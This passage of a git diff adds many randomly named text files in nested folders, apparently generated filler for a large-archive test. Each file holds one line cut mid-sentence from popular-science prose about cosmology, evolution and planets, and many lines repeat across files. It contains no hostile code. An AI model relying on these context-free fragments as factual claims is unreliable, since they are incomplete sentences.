+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_rhidwczgohvrhgjtifekiqpl.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_uwcqgwvnugjkjboh.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_uwcqgwvnugjkjboh.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_uwcqgwvnugjkjboh.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_veqihiaqsidsa.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_veqihiaqsidsa.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_veqihiaqsidsa.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_ycpkgenfiznydjtjfzxu.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_ycpkgenfiznydjtjfzxu.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_ycpkgenfiznydjtjfzxu.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_yspiohhayodwaqulmnvjmot.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_yspiohhayodwaqulmnvjmot.txt
new file mode 100644
index 0000000..7b73dcc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/file_yspiohhayodwaqulmnvjmot.txt
@@ -0,0 +1 @@
+wrote that the publications of Darwin and Wallace were a ‘flash of light, which to a man
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/hdktkwfgzeykqccpqni.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/hdktkwfgzeykqccpqni.txt
new file mode 100644
index 0000000..a5e96cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/hdktkwfgzeykqccpqni.txt
@@ -0,0 +1 @@
+Overall, the most pervasive and noticeable source of radio transmissions from the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/irxocrbh.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/irxocrbh.txt
new file mode 100644
index 0000000..69344cb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/irxocrbh.txt
@@ -0,0 +1 @@
+* Frequently pronounced ‘eye-oh’ by Americans, because this is the preferred enunciation in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/lnasbumigazgbwvi.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/lnasbumigazgbwvi.txt
new file mode 100644
index 0000000..9518861
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/lnasbumigazgbwvi.txt
@@ -0,0 +1 @@
+connects two vertices. If we count up all the vertices, rV, we will similarly have counted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/msjdhcwacvdosw.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/msjdhcwacvdosw.txt
new file mode 100644
index 0000000..79da5dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/msjdhcwacvdosw.txt
@@ -0,0 +1 @@
+of Yin. The year was 1057 B.C. The approach to Earth of Halley’s Comet in the year 66 is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/qqrcqczvcsehhgxclodh.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/qqrcqczvcsehhgxclodh.txt
new file mode 100644
index 0000000..2168d7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/qqrcqczvcsehhgxclodh.txt
@@ -0,0 +1 @@
+dismiss the idea of life upon them as impossible or improbable. It is curious to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/tdbudjcjjuz.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/tdbudjcjjuz.txt
new file mode 100644
index 0000000..8a8e5c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/tdbudjcjjuz.txt
@@ -0,0 +1 @@
+and unsympathetic, regarded this Earth with envious eyes, and slowly and surely
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/wqwdbolsgvbjg.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/wqwdbolsgvbjg.txt
new file mode 100644
index 0000000..f8e45a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/wqwdbolsgvbjg.txt
@@ -0,0 +1 @@
+radiant fireball filling all of space. The passage from the Chaos of the Big Bang to the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/xymouthcphrsyqpej.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/xymouthcphrsyqpej.txt
new file mode 100644
index 0000000..bbe6734
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/xymouthcphrsyqpej.txt
@@ -0,0 +1 @@
+power to power, crawling and then walking confidently upon the land, struggling
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/yxylvbuoxzlpmk.txt b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/yxylvbuoxzlpmk.txt
new file mode 100644
index 0000000..bc53c0f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fqmjtuthge/folder_woanzvubrt/folder_kvderztkww/yxylvbuoxzlpmk.txt
@@ -0,0 +1 @@
+Guzmán, later known as Saint Dominic, allegedly replied: ‘Kill them all. God will know his own.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_adbklgnonyx.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_adbklgnonyx.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_adbklgnonyx.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_cldalbbvvzbecve.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_cldalbbvvzbecve.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_cldalbbvvzbecve.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_dlnlsbthjyrzkah.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_dlnlsbthjyrzkah.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_dlnlsbthjyrzkah.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_duizboluzlscppqtt.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_duizboluzlscppqtt.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_duizboluzlscppqtt.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_ecikbwojgyeymucxt.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_ecikbwojgyeymucxt.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_ecikbwojgyeymucxt.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_fhvrkagxnsxolcm.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_fhvrkagxnsxolcm.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_fhvrkagxnsxolcm.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_kmnwfhmltdhfsqh.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_kmnwfhmltdhfsqh.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_kmnwfhmltdhfsqh.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_knrlqnejunruexnrdzgvwupt.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_knrlqnejunruexnrdzgvwupt.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_knrlqnejunruexnrdzgvwupt.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_kudndekpsldffwzdkphektpt.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_kudndekpsldffwzdkphektpt.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_kudndekpsldffwzdkphektpt.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_ocrnvmju.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_ocrnvmju.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_ocrnvmju.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_qjgepxctgaibyle.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_qjgepxctgaibyle.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_qjgepxctgaibyle.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_qlujnkabqkotpnausfxzx.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_qlujnkabqkotpnausfxzx.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_qlujnkabqkotpnausfxzx.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_tbrabzikux.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_tbrabzikux.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_tbrabzikux.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_tqkanptedkqvfb.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_tqkanptedkqvfb.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_tqkanptedkqvfb.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_ufxirsrtqf.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_ufxirsrtqf.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_ufxirsrtqf.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_vckhgyxtpzosufieqljydszj.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_vckhgyxtpzosufieqljydszj.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_vckhgyxtpzosufieqljydszj.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_vfirmfvhtkf.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_vfirmfvhtkf.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_vfirmfvhtkf.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_vrhurixnbav.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_vrhurixnbav.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_vrhurixnbav.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_xfhnxghx.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_xfhnxghx.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_xfhnxghx.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_xpwwatsnaypf.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_xpwwatsnaypf.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_xpwwatsnaypf.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_xuckmmqdoh.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_xuckmmqdoh.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_xuckmmqdoh.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/file_zpassvmzqukdlzna.txt b/big_zip/big-zip-files/folder_fzvuudytnf/file_zpassvmzqukdlzna.txt
new file mode 100644
index 0000000..f1e4cd3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/file_zpassvmzqukdlzna.txt
@@ -0,0 +1 @@
+The sulfur-colored mist extends downwards to some 45 kilometers above the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_eepmnpluutkirmzeorb.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_eepmnpluutkirmzeorb.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_eepmnpluutkirmzeorb.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_emorxesw.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_emorxesw.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_emorxesw.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_fwtfrphzfncz.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_fwtfrphzfncz.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_fwtfrphzfncz.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_hfxirtsndxozpyk.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_hfxirtsndxozpyk.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_hfxirtsndxozpyk.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_hyeqrbbm.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_hyeqrbbm.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_hyeqrbbm.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_ieagypqpnybz.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_ieagypqpnybz.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_ieagypqpnybz.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_imprfxoottwcfuqg.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_imprfxoottwcfuqg.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_imprfxoottwcfuqg.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_okliqwfszgkkwcmbzndrqb.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_okliqwfszgkkwcmbzndrqb.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_okliqwfszgkkwcmbzndrqb.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_oyautdjqbxnlmcf.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_oyautdjqbxnlmcf.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_oyautdjqbxnlmcf.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_pnwwoqqxxxjealik.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_pnwwoqqxxxjealik.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_pnwwoqqxxxjealik.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_qmrizyitgxgeod.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_qmrizyitgxgeod.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_qmrizyitgxgeod.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_rtvclbwc.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_rtvclbwc.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_rtvclbwc.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_vasqseefxoyukbwuzxrpanwe.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_vasqseefxoyukbwuzxrpanwe.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_vasqseefxoyukbwuzxrpanwe.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_wcjzoepv.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_wcjzoepv.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_wcjzoepv.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_xzfqtbyeyaqrrejxyxfaxhw.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_xzfqtbyeyaqrrejxyxfaxhw.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_xzfqtbyeyaqrrejxyxfaxhw.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_yzixqdbxizypisx.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_yzixqdbxizypisx.txt
new file mode 100644
index 0000000..ad6236b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/file_yzixqdbxizypisx.txt
@@ -0,0 +1 @@
+constituent of the Earth’s atmosphere, altering it irreversibly from its original hydrogen-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ajbknalrkgftckuufrd.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ajbknalrkgftckuufrd.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ajbknalrkgftckuufrd.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ekmoxici.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ekmoxici.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ekmoxici.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_gdmivhmva.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_gdmivhmva.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_gdmivhmva.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_gvhqmvawvunatp.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_gvhqmvawvunatp.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_gvhqmvawvunatp.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_hbdtyrsusumglloelhekko.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_hbdtyrsusumglloelhekko.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_hbdtyrsusumglloelhekko.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_hcgamphfybgpxqsn.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_hcgamphfybgpxqsn.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_hcgamphfybgpxqsn.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_kebzfjumvrhdhew.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_kebzfjumvrhdhew.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_kebzfjumvrhdhew.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_kexmwphq.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_kexmwphq.txt
new file mode 100644
index 0000000..5f2d13c
